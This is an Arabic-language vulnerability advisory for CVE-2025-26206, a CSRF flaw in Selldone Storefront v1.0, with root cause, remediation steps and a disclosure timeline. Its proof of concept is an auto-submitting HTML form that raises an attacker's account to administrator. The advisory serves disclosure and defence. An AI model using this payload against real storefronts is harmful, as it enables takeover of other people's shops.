CVE-2025-26206: تزوير الطلبات عبر المواقع (CSRF) في Sell Done Storefront v.1.0

تسمح ثغرة حرجة من نوع تزوير الطلبات عبر المواقع (CSRF) في Selldone Storefront v1.0 للمهاجمين عن بُعد بتصعيد الامتيازات عبر خداع المستخدمين الموثَّقين لتنفيذ طلبات تُغيّر الحالة من خلال طبقة تطبيق واجهة المتجر. تم اكتشافها والإفصاح عنها بمسؤولية من قبل Sibhi Balamurugan (@xibhi).

---

نظرة عامة

الحقل	التفصيل
معرّف CVE	CVE-2025-26206
النوع	تزوير الطلبات عبر المواقع (CWE-352)
المنتج	Selldone Storefront
الإصدار المتأثر	v1.0
المكوّن	index.html / تهيئة الجلسة
التأثير	تصعيد الامتيازات / الاستيلاء على المتجر
CVSS v3.1	9.0 (حرجة) — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
المكتشف	Sibhi Balamurugan (@xibhi)

---

السبب الجذري

افتقر Selldone Storefront v1.0 إلى التحقق من رمز مكافحة CSRF على نقاط النهاية التي تُغيّر الحالة، وكانت ملفات تعريف الارتباط للمصادقة تُخزَّن دون حدود صارمة عبر المواقع (حذف SameSite).

عندما يزور مالك متجر أو مسؤول موثَّق صفحة ويب يتحكم بها المهاجم، يُرفق المتصفح تلقائيًا ملفات تعريف الارتباط للجلسة المحيطة بالطلبات عبر المصادر، فينفّذ عمليات ذات امتيازات دون موافقة الضحية.

موقع المهاجم → متصفح الضحية (يحمل الجلسة) → واجهة Selldone البرمجية (تُرسَل ملفات تعريف الارتباط، دون فحص CSRF) → تغيير الدور

---

إثبات المفهوم (PoC)

يستضيف المهاجم صفحة خبيثة تحتوي على نموذج يُرسَل تلقائيًا ويستهدف نقطة نهاية ذات امتيازات:

<form id="csrf" action="https://<TARGET-STOREFRONT>/api/v1/shop/roles" method="POST">
  <input type="hidden" name="user_id" value="attacker_id" />
  <input type="hidden" name="role" value="administrator" />
</form>
<script>
  document.getElementById("csrf").submit();
</script>

عندما يزور مسؤول موثَّق الصفحة، يُرسل المتصفح الطلب باستخدام بيانات اعتماده، مما يرفع حساب المهاجم.

---

المعالجة

1. رموز مكافحة CSRF: اشترط رمز X-CSRF-TOKEN مُتحقَّقًا منه أو رمز مُزامِن على جميع الطلبات غير GET (POST، PUT، DELETE، PATCH).
2. أمان ملفات تعريف الارتباط: اضبط SameSite=Lax أو SameSite=Strict، إلى جانب علامتي Secure وHttpOnly على ملفات تعريف الارتباط للجلسة.
3. التحقق من المصدر: تحقّق من ترويسات Origin وReferer على جميع نقاط النهاية التي تُغيّر الحالة.
4. التحديث: قم بالترقية إلى أحدث إصدار من Selldone Storefront.

---

الجدول الزمني للإفصاح

التاريخ	الحدث
فبراير 2025	تم الاكتشاف والإبلاغ إلى المورّد.
24 فبراير 2025	نشر الإشعار الأولي.
03 مارس 2025	نشر NVD للمدخل.
04 مارس 2025	تقييم NVD عند CVSS 9.0 (حرجة).

---

المراجع والشكر

• مدخل NVD (CVE-2025-26206)
• سجل MITRE
• مستودع Selldone Storefront
• ورقة الغش الخاصة بمنع CSRF من OWASP

المكتشف: Sibhi Balamurugan (@xibhi)

---

الترخيص

هذا المشروع مرخَّص بموجب ترخيص MIT.